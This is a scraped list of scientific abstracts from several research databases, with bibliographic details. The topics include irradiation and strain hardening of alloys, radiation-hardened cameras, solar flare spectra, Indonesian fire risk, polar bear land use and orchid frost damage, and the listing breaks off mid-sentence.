Michael; Furuse, Mitsuhiro 2003-08-21 It has been demonstrated that L-pipecolic acid (L-PA) is a major metabolic intermediate of L-lysine in the mammalian and chicken brain. A previous study showed that intracerebroventricular (i.c.v.) injection of L-PA suppressed feeding in neonatal chicks, and the actions were associated with gamma-aminobutyric acid (GABA)-B receptor activation. It has been reported that endogenous L-PA in the brain fluctuated under different feeding conditions. In the present study, we investigated the effect of i.c.v. injection of L-PA on food intake in the neonatal chick under ad libitum feeding conditions. The food intake was increased by 0.5 or 1.0 mg L-PA under ad libitum feeding conditions contrary to previous studies using fasted birds. A hyperphagic effect of L-PA (0.5 mg) was attenuated by both GABA-A receptor antagonist (picrotoxin, 0.5 microg) and GABA-B receptor antagonist (CGP54626, 21.0 ng). These results indicate that a hyperphagic effect of L-PA is mediated by both GABA-A and GABA-B receptors and L-PA differentially affects food intake under different feeding conditions in the neonatal chick. 10. Ion irradiation-induced swelling and hardening effect of Hastelloy N alloy Energy Technology Data Exchange (ETDEWEB) Zhang, S.J. [Key Laboratory of Artificial Micro-and Nano-structures of Ministry of Education, School of Physics and Technology, Wuhan University, Wuhan 430072 (China); Shanghai Institute of Applied Physics, Chinese Academy of Sciences, Shanghai 201800 (China); Li, D.H.; Chen, H.C.; Lei, G.H.; Huang, H.F.; Zhang, W.; Wang, C.B. [Shanghai Institute of Applied Physics, Chinese Academy of Sciences, Shanghai 201800 (China); Yan, L., E-mail: [email protected] [Shanghai Institute of Applied Physics, Chinese Academy of Sciences, Shanghai 201800 (China); Fu, D.J. [Key Laboratory of Artificial Micro-and Nano-structures of Ministry of Education, School of Physics and Technology, Wuhan University, Wuhan 430072 (China); Tang, M. [Los Alamos National Laboratory, Los Alamos, NM 87545 (United States) 2017-06-15 The volumetric swelling and hardening effect of irradiated Hastelloy N alloy were investigated in this paper. 7 MeV and 1 MeV Xe ions irradiations were performed at room temperature (RT) with irradiation dose ranging from 0.5 to 27 dpa. The volumetric swelling increases with increasing irradiation dose, and reaches up to 3.2% at 27 dpa. And the irradiation induced lattice expansion is also observed. The irradiation induced hardening initiates at low ion dose (≤1dpa) then saturates with higher ion dose. The irradiation induced volumetric swelling may be ascribed to excess atomic volume of defects. The irradiation induced hardening may be explained by the pinning effect where the defects can act as obstacles for the free movement of dislocation lines. And the evolution of the defects' size and number density could be responsible for the saturation of hardness. - Highlights: •Irradiation Swelling: The irradiation induced volumetric swelling increases with ion dose. •Irradiation Hardening: The irradiation hardening initiates below 1 dpa, then saturates with higher ion dose (1–10 dpa). •Irradiation Mechanism: The irradiation phenomena are ascribed to the microstructural evolution of the irradiation defects. 11. Influence of oxygen impurity atoms on defect clusters and radiation hardening in neutron-irradiated vanadium International Nuclear Information System (INIS) Bajaj, R.; Wechsler, M.S. 1975-01-01 Single crystal TEM samples and polycrystalline tensile samples of vanadium containing 60-640 wt ppm oxygen were irradiated at about 100 0 C to about 1.3 x 10 19 neutrons/cm 2 (E greater than 1 MeV) and post-irradiation annealed up to 800 0 C. The defect cluster density increased and the average size decreased with increasing oxygen concentration. Higher oxygen concentrations caused the radiation hardening and radiation-anneal hardening to increase. The observations are consistent with the nucleation of defect clusters by small oxygen or oxygen-point defect complexes and the trapping of oxygen at defect clusters upon post-irradiation annealing 12. Short-term exposure to atmospheric ammonia does not affect frost hardening of needles from three- and five-year-old Scots pine trees NARCIS (Netherlands) Clement, J.M A M; van Hasselt, P.R; van Eerden, L.J.M.; Dueck, T.A. The effect of atmospheric ammonia on frost hardening of needles from 3- and 5-year-old Scots pine trees was investigated. Trees were exposed to various concentrations of NH(3) during different hardening stages under laboratory conditions and in experiments with open-top chambers under a natural 13. Micro-mechanical modelling of ductile failure in 6005A aluminium using a physics based strain hardening larw including stage IV DEFF Research Database (Denmark) Simar, Aude; Nielsen, Kim Lau; de Meester, Bruno 2010-01-01 The strain hardening and damage behaviour of isothermally heat treated 6005A aluminium is investigated in order to link the thermal treatment conditions, microstructure and fracture strain. The need for a plastic flow rule involving a stage IV hardening at large strain was found essential to gene... 14. Microstructural evolution and strain hardening behavior of the cold-drawn austenitic stainless steels International Nuclear Information System (INIS) Choi, Jeom Yong; Jin, Won 1998-01-01 The strain induced α ' -martensite formation and the strain hardening behavior of metastable austenitic stainless steel during cold drawing have been investigated. The strain induced α ' -martensite nucleates mainly at the intersection of the mechanical twins rather than ε-martensite. It could be explained by the increase of stacking fault energy which arises from the heat generated during high speed drawing and, for AISI 304/Cu, the additional effect of Cu additions. The strain hardening behavior of austenitic stainless steel is strongly related to the microstructural evolution accompanied by strain induced α ' -martensite. The work hardening rates of cold-drawn 304 increased with increasing interstitial element(C,N) contents which affect the strength of the strain induced α ' -martensite 15. Contributions of Cu-rich clusters, dislocation loops and nanovoids to the irradiation-induced hardening of Cu-bearing low-Ni reactor pressure vessel steels Energy Technology Data Exchange (ETDEWEB) Bergner, F., E-mail: [email protected] [Helmholtz-Zentrum Dresden-Rossendorf, Bautzner Landstr. 400, 01328 Dresden (Germany); Gillemot, F. [Centre for Energy Research of the Hungarian Academy of Sciences, 29-33 Konkoly-Thege street, 1121 Budapest XII (Hungary); Hernández-Mayoral, M.; Serrano, M. [Division of Materials, CIEMAT, Avenida Complutense 22, 28040 Madrid (Spain); Török, G. [Wigner Research Center for Physics of the Hungarian Academy of Sciences, 29-33 Konkoly-Thege street, 1121 Budapest XII (Hungary); Ulbricht, A.; Altstadt, E. [Helmholtz-Zentrum Dresden-Rossendorf, Bautzner Landstr. 400, 01328 Dresden (Germany) 2015-06-15 Highlights: • TEM and SANS were applied to estimate mean size and number density of loops, nanovoids and Cu-rich clusters. • A three-feature dispersed-barrier hardening model was applied to estimate the yield stress increase. • The values and errors of the dimensionless obstacle strength were estimated in a consistent way. • Nanovoids are stronger obstacles for dislocation glide than dislocation loops, loops are stronger than Cu-rich clusters. • For reactor-relevant conditions, Cu-rich clusters contribute most to hardening due to their high number density. - Abstract: Dislocation loops, nanovoids and Cu-rich clusters (CRPs) are known to represent obstacles for dislocation glide in neutron-irradiated reactor pressure vessel (RPV) steels, but a consistent experimental determination of the respective obstacle strengths is still missing. A set of Cu-bearing low-Ni RPV steels and model alloys was characterized by means of SANS and TEM in order to specify mean size and number density of loops, nanovoids and CRPs. The obstacle strengths of these families were estimated by solving an over-determined set of linear equations. We have found that nanovoids are stronger than loops and loops are stronger than CRPs. Nevertheless, CRPs contribute most to irradiation hardening because of their high number density. Nanovoids were only observed for neutron fluences beyond typical end-of-life conditions of RPVs. The estimates of the obstacle strength are critically compared with reported literature data. 16. Multi-MGy Radiation Hardened Camera for Nuclear Facilities International Nuclear Information System (INIS) Girard, Sylvain; Boukenter, Aziz; Ouerdane, Youcef; Goiffon, Vincent; Corbiere, Franck; Rolando, Sebastien; Molina, Romain; Estribeau, Magali; Avon, Barbara; Magnan, Pierre; Paillet, Philippe; Duhamel, Olivier; Gaillardin, Marc; Raine, Melanie 2015-01-01 There is an increasing interest in developing cameras for surveillance systems to monitor nuclear facilities or nuclear waste storages. Particularly, for today's and the next generation of nuclear facilities increasing safety requirements consecutive to Fukushima Daiichi's disaster have to be considered. For some applications, radiation tolerance needs to overcome doses in the MGy(SiO 2 ) range whereas the most tolerant commercial or prototypes products based on solid state image sensors withstand doses up to few kGy. The objective of this work is to present the radiation hardening strategy developed by our research groups to enhance the tolerance to ionizing radiations of the various subparts of these imaging systems by working simultaneously at the component and system design levels. Developing radiation-hardened camera implies to combine several radiation-hardening strategies. In our case, we decided not to use the simplest one, the shielding approach. This approach is efficient but limits the camera miniaturization and is not compatible with its future integration in remote-handling or robotic systems. Then, the hardening-by-component strategy appears mandatory to avoid the failure of one of the camera subparts at doses lower than the MGy. Concerning the image sensor itself, the used technology is a CMOS Image Sensor (CIS) designed by ISAE team with custom pixel designs used to mitigate the total ionizing dose (TID) effects that occur well below the MGy range in classical image sensors (e.g. Charge Coupled Devices (CCD), Charge Injection Devices (CID) and classical Active Pixel Sensors (APS)), such as the complete loss of functionality, the dark current increase and the gain drop. We'll present at the conference a comparative study between these radiation-hardened pixel radiation responses with respect to conventional ones, demonstrating the efficiency of the choices made. The targeted strategy to develop the complete radiation hard camera 17. Multi-MGy Radiation Hardened Camera for Nuclear Facilities Energy Technology Data Exchange (ETDEWEB) Girard, Sylvain; Boukenter, Aziz; Ouerdane, Youcef [Universite de Saint-Etienne, Lab. Hubert Curien, UMR-CNRS 5516, F-42000 Saint-Etienne (France); Goiffon, Vincent; Corbiere, Franck; Rolando, Sebastien; Molina, Romain; Estribeau, Magali; Avon, Barbara; Magnan, Pierre [ISAE, Universite de Toulouse, F-31055 Toulouse (France); Paillet, Philippe; Duhamel, Olivier; Gaillardin, Marc; Raine, Melanie [CEA, DAM, DIF, F-91297 Arpajon (France) 2015-07-01 There is an increasing interest in developing cameras for surveillance systems to monitor nuclear facilities or nuclear waste storages. Particularly, for today's and the next generation of nuclear facilities increasing safety requirements consecutive to Fukushima Daiichi's disaster have to be considered. For some applications, radiation tolerance needs to overcome doses in the MGy(SiO{sub 2}) range whereas the most tolerant commercial or prototypes products based on solid state image sensors withstand doses up to few kGy. The objective of this work is to present the radiation hardening strategy developed by our research groups to enhance the tolerance to ionizing radiations of the various subparts of these imaging systems by working simultaneously at the component and system design levels. Developing radiation-hardened camera implies to combine several radiation-hardening strategies. In our case, we decided not to use the simplest one, the shielding approach. This approach is efficient but limits the camera miniaturization and is not compatible with its future integration in remote-handling or robotic systems. Then, the hardening-by-component strategy appears mandatory to avoid the failure of one of the camera subparts at doses lower than the MGy. Concerning the image sensor itself, the used technology is a CMOS Image Sensor (CIS) designed by ISAE team with custom pixel designs used to mitigate the total ionizing dose (TID) effects that occur well below the MGy range in classical image sensors (e.g. Charge Coupled Devices (CCD), Charge Injection Devices (CID) and classical Active Pixel Sensors (APS)), such as the complete loss of functionality, the dark current increase and the gain drop. We'll present at the conference a comparative study between these radiation-hardened pixel radiation responses with respect to conventional ones, demonstrating the efficiency of the choices made. The targeted strategy to develop the complete radiation hard camera 18. Increased power generation from primary sludge by a submersible microbial fuel cell and optimum operational conditions DEFF Research Database (Denmark) Vologni, Valentina; Kakarla, Ramesh; Angelidaki, Irini 2013-01-01 Microbial fuel cells (MFCs) have received attention as a promising renewable energy technology for waste treatment and energy recovery. We tested a submersible MFC with an innovative design capable of generating a stable voltage of 0.250 ± 0.008 V (with a fixed 470 Ω resistor) directly from prima...... prolonged the current generation and increased the power density by 7 and 1.5 times, respectively, in comparison with raw primary sludge. These findings suggest that energy recovery from primary sludge can be maximized using an advanced MFC system with optimum conditions.... 19. Two Back Stress Hardening Models in Rate Independent Rigid Plastic Deformation Science.gov (United States) Yun, Su-Jin In the present work, the constitutive relations based on the combination of two back stresses are developed using the Armstrong-Frederick, Phillips and Ziegler’s type hardening rules. Various evolutions of the kinematic hardening parameter can be obtained by means of a simple combination of back stress rate using the rule of mixtures. Thus, a wide range of plastic deformation behavior can be depicted depending on the dominant back stress evolution. The ultimate back stress is also determined for the present combined kinematic hardening models. Since a kinematic hardening rule is assumed in the finite deformation regime, the stress rate is co-rotated with respect to the spin of substructure obtained by incorporating the plastic spin concept. A comparison of the various co-rotational rates is also included. Assuming rigid plasticity, the continuum body consists of the elastic deformation zone and the plastic deformation zone to form a hybrid finite element formulation. Then, the plastic deformation behavior is investigated under various loading conditions with an assumption of the J2 deformation theory. The plastic deformation localization turns out to be strongly dependent on the description of back stress evolution and its associated hardening parameters. The analysis for the shear deformation with fixed boundaries is carried out to examine the deformation localization behavior and the evolution of state variables. 20. On the Spectral Hardening at gsim300 keV in Solar Flares Science.gov (United States) Li, G.; Kong, X.; Zank, G.; Chen, Y. 2013-05-01 It has long been noted that the spectra of observed continuum emissions in many solar flares are consistent with double power laws with a hardening at energies gsim300 keV. It is now widely believed that at least in electron-dominated events, the hardening in the photon spectrum reflects an intrinsic hardening in the source electron spectrum. In this paper, we point out that a power-law spectrum of electrons with a hardening at high energies can be explained by the diffusive shock acceleration of electrons at a termination shock with a finite width. Our suggestion is based on an early analytical work by Drury et al., where the steady-state transport equation at a shock with a tanh profile was solved for a p-independent diffusion coefficient. Numerical simulations with a p-dependent diffusion coefficient show hardenings in the accelerated electron spectrum that are comparable with observations. One necessary condition for our proposed scenario to work is that high-energy electrons resonate with the inertial range of the MHD turbulence and low-energy electrons resonate with the dissipation range of the MHD turbulence at the acceleration site, and the spectrum of the dissipation range ~k -2.7. A ~k -2.7 dissipation range spectrum is consistent with recent solar wind observations. 1. ON THE SPECTRAL HARDENING AT ∼>300 keV IN SOLAR FLARES International Nuclear Information System (INIS) Li, G.; Kong, X.; Zank, G.; Chen, Y. 2013-01-01 It has long been noted that the spectra of observed continuum emissions in many solar flares are consistent with double power laws with a hardening at energies ∼>300 keV. It is now widely believed that at least in electron-dominated events, the hardening in the photon spectrum reflects an intrinsic hardening in the source electron spectrum. In this paper, we point out that a power-law spectrum of electrons with a hardening at high energies can be explained by the diffusive shock acceleration of electrons at a termination shock with a finite width. Our suggestion is based on an early analytical work by Drury et al., where the steady-state transport equation at a shock with a tanh profile was solved for a p-independent diffusion coefficient. Numerical simulations with a p-dependent diffusion coefficient show hardenings in the accelerated electron spectrum that are comparable with observations. One necessary condition for our proposed scenario to work is that high-energy electrons resonate with the inertial range of the MHD turbulence and low-energy electrons resonate with the dissipation range of the MHD turbulence at the acceleration site, and the spectrum of the dissipation range ∼k –2.7 . A ∼k –2.7 dissipation range spectrum is consistent with recent solar wind observations. 2. Fires in Non-drought Conditions in Indonesia: the Role of Increasing Temperatures Science.gov (United States) Fernandes, K.; Verchot, L. V.; Baethgen, W.; Gutierrez-Velez, V.; Pinedo-Vasquez, M.; Martius, C. 2017-12-01 In Indonesia, drought driven fires occur typically during the warm phase of the El Niño Southern Oscillation (ENSO), such as those of 1997 and 2015 that resulted in months-long hazardous atmospheric pollution levels in Equatorial Asia and record greenhouse gas emissions. Nonetheless, anomalously active fire seasons have also been observed in non-drought years. In this work, we investigated whether fires are impacted by temperature anomalies and if so, if the responses differ under contrasting precipitation regimes. Our findings show that when the July-October dry-season is anomalously dry, the sensitivity of fires to temperature anomalies is similar regardless of the sign of the anomalies. In contrast, in wet condition, fire risk increases sharply when the dry season is anomalously warm. We also present a characterization of near-term regional climate projections over the next few decades and the implications of continuing global temperature increase in future fire probability in Indonesia. 3. Control of root system architecture by DEEPER ROOTING 1 increases rice yield under drought conditions. Science.gov (United States) Uga, Yusaku; Sugimoto, Kazuhiko; Ogawa, Satoshi; Rane, Jagadish; Ishitani, Manabu; Hara, Naho; Kitomi, Yuka; Inukai, Yoshiaki; Ono, Kazuko; Kanno, Noriko; Inoue, Haruhiko; Takehisa, Hinako; Motoyama, Ritsuko; Nagamura, Yoshiaki; Wu, Jianzhong; Matsumoto, Takashi; Takai, Toshiyuki; Okuno, Kazutoshi; Yano, Masahiro 2013-09-01 The genetic improvement of drought resistance is essential for stable and adequate crop production in drought-prone areas. Here we demonstrate that alteration of root system architecture improves drought avoidance through the cloning and characterization of DEEPER ROOTING 1 (DRO1), a rice quantitative trait locus controlling root growth angle. DRO1 is negatively regulated by auxin and is involved in cell elongation in the root tip that causes asymmetric root growth and downward bending of the root in response to gravity. Higher expression of DRO1 increases the root growth angle, whereby roots grow in a more downward direction. Introducing DRO1 into a shallow-rooting rice cultivar by backcrossing enabled the resulting line to avoid drought by increasing deep rooting, which maintained high yield performance under drought conditions relative to the recipient cultivar. Our experiments suggest that control of root system architecture will contribute to drought avoidance in crops. 4. Meal ingestion markedly increases liver stiffness suggesting the need for liver stiffness determination in fasting conditions. Science.gov (United States) Alvarez, Daniel; Orozco, Federico; Mella, José María; Anders, Maria; Antinucci, Florencia; Mastai, Ricardo 2015-01-01 The introduction of noninvasive liver stiffness (LS) determination has heralded a new stage in the diagnosis and treatment of liver fibrosis. We evaluated the effect of food intake on LS in patients with different degrees of liver disease. We evaluated 24 patients (F≤1, n=11 and F> 1, n=13). LS (Fibroscan®) and portal blood flow (PBF) (Doppler ultrasound) were studied before and 30min after ingestion of a standard liquid meal. Food intake increased PBF (51±10%, p1). Hemodynamic and LS values returned to baseline pre-meal levels within 2hours. LS increases markedly after ingestion of a standard meal, irrespective of the degree of fibrosis. Our results strongly suggest that LS should be measured in fasting conditions. Copyright © 2015 Elsevier España, S.L.U. and AEEH y AEG. All rights reserved. 5. Age-hardening of an Al-Li-Cu-Mg alloy (2091) processed by high-pressure torsion Energy Technology Data Exchange (ETDEWEB) Lee, Seungwon, E-mail: [email protected] [Department of Materials Science and Engineering, Faculty of Engineering, Kyushu University, Fukuoka 819-0395 (Japan); WPI, International Institute for Carbon-Neutral Energy Research (I2CNER), Kyushu University, Fukuoka 819-0395 (Japan); Horita, Zenji [Department of Materials Science and Engineering, Faculty of Engineering, Kyushu University, Fukuoka 819-0395 (Japan); WPI, International Institute for Carbon-Neutral Energy Research (I2CNER), Kyushu University, Fukuoka 819-0395 (Japan); Hirosawa, Shoichi [Department of Mechanical Engineering and Materials Science, Yokohama National University, Yokohama 240-8501 (Japan); Matsuda, Kenji [Graduate School of Science and Engineering for Research, University of Toyama, Toyama 930-8555 (Japan) 2012-06-01 This research presents the successful strengthening of an Al-Li-Cu-Mg alloy (2091) through the simultaneous use of grain refinement and age hardening. Following solid-solution treatment, the alloy was processed by high-pressure torsion (HPT) at room temperature and the grain size was refined to {approx}140 nm. The Vickers microhardness increased with increasing strain, and saturated to a constant level of 225 Hv. A further increase in the hardness to {approx}275 Hv was achieved by aging the HPT-processed alloy at 100 Degree-Sign C and 150 Degree-Sign C. Bending tests for the samples treated using the peak aging conditions demonstrated that the stress was significantly increased while considerable ductility was retained. Transmission electron microscopy revealed that the small grains are well retained even after prolonged aging, and the precipitation of fine {delta} Prime particles occurred within the small grains, which confirms that simultaneous strengthening from grain refinement and age hardening is feasible in this alloy. 6. Validation of the thermal balance of Laguna Verde turbine under conditions of extended power increase International Nuclear Information System (INIS) Castaneda G, M. A.; Cruz B, H. J.; Mercado V, J. J.; Cardenas J, J. B.; Garcia de la C, F. M. 2012-10-01 The present work is a continuation of the task: Modeling of the vapor cycle of Laguna Verde with the PEPSE code to conditions of thermal power licensed at present (2027 MWt) in which the modeling of the vapor cycle of the nuclear power plant of Laguna Verde was realized with PEPSE code (Performance Evaluation of Power System Efficiencies). Once reached the conditions of nominal operation of extended power increase, operating both units to 2371 MWt; after the tests phase of starting-up and operation is necessary to carry out a verification of the proposed design of the vapor cycle for the new operation conditions. All this, having in consideration that the vapor cycle designer only knows the detail of the prospective performance of the main turbine, for all the other components (for example pumps, heat inter changers, valves, reactor, humidity separators and re-heaters, condensers, etc.) makes generic suppositions based on engineering judgment. This way carries out the calculations of thermal balance to determine the guaranteed gross power. The purpose of the present work is to comment the detail of the validation carried out of the specific thermal balance (thermal kit) of the nuclear power plant, making use of the design characteristics of the different components that conform the vapor cycle. (Author) 7. Heightened fire probability in Indonesia in non-drought conditions: the effect of increasing temperatures Science.gov (United States) Fernandes, Kátia; Verchot, Louis; Baethgen, Walter; Gutierrez-Velez, Victor; Pinedo-Vasquez, Miguel; Martius, Christopher 2017-05-01 In Indonesia, drought driven fires occur typically during the warm phase of the El Niño Southern Oscillation. This was the case of the events of 1997 and 2015 that resulted in months-long hazardous atmospheric pollution levels in Equatorial Asia and record greenhouse gas emissions. Nonetheless, anomalously active fire seasons have also been observed in non-drought years. In this work, we investigated the impact of temperature on fires and found that when the July-October (JASO) period is anomalously dry, the sensitivity of fires to temperature is modest. In contrast, under normal-to-wet conditions, fire probability increases sharply when JASO is anomalously warm. This describes a regime in which an active fire season is not limited to drought years. Greater susceptibility to fires in response to a warmer environment finds support in the high evapotranspiration rates observed in normal-to-wet and warm conditions in Indonesia. We also find that fire probability in wet JASOs would be considerably less sensitive to temperature were not for the added effect of recent positive trends. Near-term regional climate projections reveal that, despite negligible changes in precipitation, a continuing warming trend will heighten fire probability over the next few decades especially in non-drought years. Mild fire seasons currently observed in association with wet conditions and cool temperatures will become rare events in Indonesia. 8. Increased Land Use by Chukchi Sea Polar Bears in Relation to Changing Sea Ice Conditions. Science.gov (United States) Rode, Karyn D; Wilson, Ryan R; Regehr, Eric V; St Martin, Michelle; Douglas, David C; Olson, Jay 2015-01-01 Recent observations suggest that polar bears (Ursus maritimus) are increasingly using land habitats in some parts of their range, where they have minimal access to their preferred prey, likely in response to loss of their sea ice habitat associated with climatic warming. We used location data from female polar bears fit with satellite radio collars to compare land use patterns in the Chukchi Sea between two periods (1986-1995 and 2008-2013) when substantial summer sea-ice loss occurred. In both time periods, polar bears predominantly occupied sea-ice, although land was used during the summer sea-ice retreat and during the winter for maternal denning. However, the proportion of bears on land for > 7 days between August and October increased between the two periods from 20.0% to 38.9%, and the average duration on land increased by 30 days. The majority of bears that used land in the summer and for denning came to Wrangel and Herald Islands (Russia), highlighting the importance of these northernmost land habitats to Chukchi Sea polar bears. Where bears summered and denned, and how long they spent there, was related to the timing and duration of sea ice retreat. Our results are consistent with other studies supporting increased land use as a common response of polar bears to sea-ice loss. Implications of increased land use for Chukchi Sea polar bears are unclear, because a recent study observed no change in body condition or reproductive indices between the two periods considered here. This result suggests that the ecology of this region may provide a degree of resilience to sea ice loss. However, projections of continued sea ice loss suggest that polar bears in the Chukchi Sea and other parts of the Arctic may increasingly use land habitats in the future, which has the potential to increase nutritional stress and human-polar bear interactions. 9. Increased Land Use by Chukchi Sea Polar Bears in Relation to Changing Sea Ice Conditions. Directory of Open Access Journals (Sweden) Karyn D Rode Full Text Available Recent observations suggest that polar bears (Ursus maritimus are increasingly using land habitats in some parts of their range, where they have minimal access to their preferred prey, likely in response to loss of their sea ice habitat associated with climatic warming. We used location data from female polar bears fit with satellite radio collars to compare land use patterns in the Chukchi Sea between two periods (1986-1995 and 2008-2013 when substantial summer sea-ice loss occurred. In both time periods, polar bears predominantly occupied sea-ice, although land was used during the summer sea-ice retreat and during the winter for maternal denning. However, the proportion of bears on land for > 7 days between August and October increased between the two periods from 20.0% to 38.9%, and the average duration on land increased by 30 days. The majority of bears that used land in the summer and for denning came to Wrangel and Herald Islands (Russia, highlighting the importance of these northernmost land habitats to Chukchi Sea polar bears. Where bears summered and denned, and how long they spent there, was related to the timing and duration of sea ice retreat. Our results are consistent with other studies supporting increased land use as a common response of polar bears to sea-ice loss. Implications of increased land use for Chukchi Sea polar bears are unclear, because a recent study observed no change in body condition or reproductive indices between the two periods considered here. This result suggests that the ecology of this region may provide a degree of resilience to sea ice loss. However, projections of continued sea ice loss suggest that polar bears in the Chukchi Sea and other parts of the Arctic may increasingly use land habitats in the future, which has the potential to increase nutritional stress and human-polar bear interactions. 10. Effects of solute elements on hardening of thermally-aged RPV model alloys International Nuclear Information System (INIS) Dohi, Kenji; Nishida, Kenji; Nomoto, Akiyoshi; Soneda, Naoki; Liu, Li; Sekimura, Naoto; Li Zhengcao 2012-01-01 The investigation of effects of solute elements on the copper-enriched cluster, which is a cause of radiation embrittlement of reactor pressure vessel steels, is needed in order to understand the mechanism of the hardening and the cluster formation. The dependence of the hardness change and the formation of thermally-aged Fe-Cu model alloys doped Ni, Si and Mn on aging time are investigated using Vickers harness tester and three dimensional atom probe. Ni addition suppresses hardening, and Si addition accelerates hardening slightly at the initial stage of the aging. Mn addition accelerates hardening much more but does not almost affect the peak hardness. Ni and Si addition increase the number density and the size of the cluster, while Mn addition remarkably increases the number density and the size of the cluster at the initial stage of the aging. In addition, there is no clear correlation between the square root of the volume fraction of the clusters and the hardness change for all of the alloys. The reasons are considered to be the decrease in the solute hardening caused by the cluster formation and the difference in the shear modulus of the cluster due to the difference in the chemical composition of the cluster. (author) 11. Experimental study and theoretical simulation of the cross hardening effect in shape memory alloys Science.gov (United States) Movchan, A. A.; Sil'chenko, A. L.; Kazarina, S. A. 2017-10-01 The shapes and the relative position of martensitic inelasticity and forward transformation diagrams are experimentally studied. The strain dependences of the stress in loading under martensitic inelasticity conditions after an experiment on the accumulation of the forward transformation-induced strain at a constant or variable stress are investigated on titanium nickelide samples. It is found that the hardening of the martensite part of the representative volume of a shape memory alloy (titanium nickelide) after forward transformation under a nonmonotonically changing stress can be nonuniform. The cross hardening phenomenon is theoretically described in terms of the model of nonlinear deformation of a shape memory alloy during phase and structural transformations. 12. Hardened Solar Array High Temperature Adhesive. Science.gov (United States) 1981-04-01 SHERWOOO. D SASIU.IS F3361S-0-C-201S UNCLASSI ED 1AC-SCG-IOOIIR AFVAL-TR-OL-201? NLm,,hinii EhhhEE11I1 AFWAL-TR-81- 2017 i : HARDENED SOLAR ARRAY D HIGH...Tg and as a consequence forms a film on the container and also precipitates as tacky waxlike particles, rather than the desired flocullated 13. Hardening by means of ionising radiation International Nuclear Information System (INIS) Spoor, H.; Demmler, K. 1979-01-01 The polymerisable ethylic unsaturated mixture can be hardened by means of electron irradiation and used as a corrosion preventive layer. The mixture mainly consists of at least a di-olefinic unsaturated polyester, partial esters of polycarbonic acids, in particular the monoester of dicarbonic acids, with a copolymerizable C-C double bond, and mono-olefine unsaturated hydrocarbons, for example vinyl aromatics. The coatings exhibit good adhesion to the substrate, in particular to metal, and good flexibility. (DG) [de 14. Temperature Effects on the Tensile Properties of Precipitation-Hardened Al-Mg-Cu-Si Alloys Directory of Open Access Journals (Sweden) J.B. Ferguson 2016-02-01 Full Text Available Because the mechanical performance of precipitation-hardened alloys can be significantly altered with temperature changes, understanding and predicting the effects of temperatures on various mechanical properties for these alloys are important. In the present work, an analytical model has been developed to predict the elastic modulus, the yield stress, the failure stress, and the failure strain taking into consideration the effect of temperatures for precipitation-hardenable Al-Mg-Cu-Si Alloys (Al-A319 alloys. In addition, other important mechanical properties of Al-A319 alloys including the strain hardening exponent, the strength coefficient, and the ductility parameter can be estimated using the current model. It is demonstrated that the prediction results based on the proposed model are in good agreement with those obtained experimentally in Al-A319 alloys in the as-cast condition and after W and T7 heat treatments. 15. Inoculant of arbuscular mycorrhizal fungi (Rhizophagus clarus increase yield of soybean and cotton under field conditions Directory of Open Access Journals (Sweden) Martha Viviana Torres Cely 2016-05-01 Full Text Available Nutrient availability is an important factor in crop production, and regular addition of chemical fertilizers is the most common practice to improve yield in agrosystems for intensive crop production. The use of some groups of microorganisms that have specific activity providing nutrients to plants is a good alternative, and arbuscular mycorrhizal fungi (AMF enhance plant nutrition by providing especially phosphorus (P, improving plant growth and increasing crop production. Unfortunately, the use of AMF as an inoculant on a large scale is not yet widely used, because of several limitations in obtaining a large amount of inoculum due to several factors, such as low growth, the few species domesticated under in vitro conditions, and high competition with native AMF. The objective of this work was to test the infectivity of a Rhizophagus clarus inoculum and its effectiveness as an alternative for P supply in soybean (Glycine max L. and cotton (Gossypium hirsutum L.. The experiments were carried out in plots and the treatments were: Fertilizer; AMF, AMF + Fertilizer and AMF + ½ Fertilizer; non-inoculated and non-fertilized plants were considered the control. The parameters evaluated were AMF root colonization and effect of inoculation on plant growth and yield under a field conditions. The results showed that AMF inoculation increased the effect of fertilizer application in soybean, and that in cotton R. clarus was more effective than chemical fertilizer 16. Sudden changes in environmental conditions do not increase invasion risk in grassland Science.gov (United States) Ruprecht, Eszter; Fenesi, Annamária; Nijs, Ivan 2013-02-01 After direct habitat transformation, biological invasions are considered to be the second most important threat to biodiversity. A better understanding of the factors affecting invasion success in new areas is crucial, and may provide insight into potential control actions. We hypothesized that invasion risk increases in habitats undergoing a sudden change in the disturbance regime or environmental conditions. For testing this assumption we initiated a seed sowing experiment while introducing two novel treatments, mowing twice and fertilizer application, in two grassland sites (one dryer and one mesic) in Romania. The seeds of two invasive species, Solidago canadensis and Rudbeckia laciniata, and two resident natives of similar seed sizes, life-forms and strategies were sowed in treated and control plots, and seed germination, seedling establishment and growth were followed during four months. Contrary to our expectations, there was no difference in the treatment effects on seed germination and seedling establishment between species, while there was on seedling vigour of the larger seeded species in the dryer grassland site, where the native had a higher performance especially in increased nutrient conditions. Indifferently from applied treatments, invasive species had greater cumulative germination in the mesic site, while natives were far more successful in seedling establishment in the drier site. At the same time, seed size was found to be a very important factor explaining germination and establishment success, with large seeded species outperforming small seeded species in any circumstances. Our results call the attention upon management interventions in mesic, productive grassland sites opening colonization windows for the recruitment of those invasive species of which ecological requirements correspond to local environmental conditions. 17. Endangerment of thermophilous flora even under conditions of increasing environmental temperatures Directory of Open Access Journals (Sweden) Vladimír Růžička 2004-01-01 Full Text Available As mentioned earlier, it is not true that some bulbous species from the family Orchidaceae are able to survive only mycotrophically, i. e. without formation of stalk. Our observations, especially of Ophrys apifera, have demonstrated (in the Czech Republic that the durability of adult plants is very short so that their numbers are fluctuating. The dying can be caused by several factors. Frost damages followed by rotting of underground parts (roots and bulbs are relatively frequent. The leaf rosette, which is the most resistant, dies as the last, usually later in the spring of the following year. This means that the frost damage is often not identified during the cursory visually control in the spring. We observated very extensive damaging and dying of the Orchidaceae after the winter of 2002/03 - on the turn of November and December 2002, there was a rapid onset of very strong black frost after a long, wet and relatively mild autumn. Consequently 80% of population perished. None specimens of Ophrys apifera and/or Himantoglossum adriaticum came into blossom in 2003 and other species were strongly damaged. Our observations document that the general increase in air temperatures need not result in the occurrence of generally expected better growing conditions for some thermophilous species. It is very probable that the extremes climatic conditions could show greater effects than the general increase in average temperatures. Such phenomena are well-known but in practice they are not noticed and/or are explained in a different way. Such risks can exist in the whole Central European region. Negative effects of frosts in winter 2002/03 were further intensified by long and extreme droughts in the growing season of the year 2003. Combination of these extremes was crucial for the species Gentianella bohemica: In average, 95% of specimens in each population perished. If the fluctuations in climatic conditions will be more frequent, some species can become 18. Beam hardening correction algorithm in microtomography images International Nuclear Information System (INIS) Sales, Erika S.; Lima, Inaya C.B.; Lopes, Ricardo T.; Assis, Joaquim T. de 2009-01-01 Quantification of mineral density of bone samples is directly related to the attenuation coefficient of bone. The X-rays used in 